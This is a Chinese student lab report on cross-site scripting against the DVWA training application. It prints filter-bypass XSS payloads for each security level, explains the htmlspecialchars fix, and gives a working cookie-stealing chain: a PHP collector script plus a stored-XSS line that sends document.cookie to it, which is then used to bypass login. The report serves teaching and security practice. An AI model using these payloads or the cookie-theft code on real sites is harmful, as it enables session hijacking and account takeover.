一、实验目的与要求
- 能理解XSS注入原理;
- 能应用Low等级、Medium等级、High级别的XSS;
- 能理解XSS的修复。
- 能利用XSS盗取cookie
- 利用盗取的cookie绕过登陆步骤直接进入网站首页
二、实验原理与内容
1.XSS原理
是利用网页应用程序对用户的输入没有进行足够的过滤与处理,导致恶意脚本被插入到网页中,并被浏览器解释执行。攻击者通过构造恶意的输入数据,将脚本代码注入目标网页中,并在用户浏览该页面时执行。这些脚本能够执行恶意的操作,比如窃取用户的敏感信息、伪造用户界面或篡改网页内容等。
2.实验内容
利用Kali Linux对DVWA的Reflected Cross Site Scripting (XSS)/Stored Cross Site Scripting (XSS)模块,实现利用XSS盗取cookie,并用盗取的cookie绕过登陆步骤直接进入网站首页:
- Low等级;
- Medium等级;
- High级别;
- Impossible等级的机制以及修复、防御方法。
- 利用XSS成功盗取DVWA网站的cookie,用盗取的cookie绕过登陆步骤直接进入DVWA网站首页。
三、实验设备与软件环境
- 学生笔记本;
- VMware WorkStation Pro;
- Windows7或其他Windows系统;
- Kali Linux 2021版本或其他Kali Linux版本;
- DVWA-1.9;
- FireFox浏览器;
- BurpSuit或其他抓包工具
四、实验过程与结果
一、准备工作
先启动phpstudy,把Apache和mysql启动
因为我本机自身就有安装mysql,所以我确认好开启到本机的mysql就好了,软件中的无需开启。
登录DVWA
二、实验内容
1、Low等级
将安全级别设置为low
然后我们通过(D:\Teachings\phpstudy_pro\WWW\DVWA\vulnerabilities\xss_r\source)(这是我的地址)找到low.php
来查看sourse源码:
array_key_exists()函数检查某个数组中是否存在指定的键名,如果键名存在则返回 true,如果键名不存在则返回 false。
!=为不等于运算符 , &&为与都为真是为真
这段源码:输入一个内容,点击提交,当输入不为空之后输出:Hello 加输入的内容。
GET到参数之后没有对参数进行任何处理,直接传递,以html形式呈现出来,所以直接执行JavaScript代码,从而显示出xss弹出框。
直接输入 <script>alert('xss')</script>,然后点击提交:
弹出弹框
2、Medium等级
将等级修改为中级:
查看源码:
相比于low等级,多了一个语句,可以看到,这里对输入进行了过滤,使用str_replace函数将输入中的<script>替换
为空。当GET到参数后,$name被做了更改然后重新传给了name变量。
我们可通过
1、不区分大小写这个放方法来传入参数,达到绕过的目的提交参数:
输入<ScripT>alert('xss')</script>
2、也可以通过多重嵌套:
输入<scr<script>ipt>alert(/xss/)</script>
3、High级别
将等级修改为high级别
我们查看源码:
可以看到preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。
虽然无法使用<script>标签注入 XSS 代码,但是可以通过img、body等标签的事件或者iframe、src等标签的构造可利用的js代码。
1、<img src=1 onerror=alert(/xss/)>
2、<iframe onload=alert(/xss/)>
3、<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></object>
4、Impossible等级的机制以及修复、防御方法
修改Impossible等级:
使用htmlspecialchars() 函数把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);从而防治了反射型XSS利用和危害,不能实现反射型XSS攻击。
5、利用XSS成功盗取DVWA网站的cookie
- 在搭建的服务器目录下创建一个cookie.php,(我的目录是:D:\Teachings\phpstudy_pro\WWW),目的是为了将获取到的cookie
输入:
<?php
$cookie = $_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>
接着我们构建一个js代码:
<script>document.location='http://127.0.0.1/cookie.php?cookie='+document.cookie;</script>
通过document.cookie可以读取当前页面的cookie值,然后通过GET方法发送至攻击者服务器。
先将等级修改为low等级
然后在进入到XSS(Stored)
当在输入Message中输入恶意代码js时我们会发现有文本长度限制。
修改完成后,我们可以看到已经完整的输入了。
然后我们就可以看到会跳转到
我们可以打开cookie.txt查看我们获取的cookie值
我们用另外一个浏览器重新进入到DVWA(如果用本机测试的,先把防火墙关闭)
进入到登录界面,我们就把开发者工具打开
找到cookie然后修改里面的值
即可进入到我们的首页
至此实验就完成了。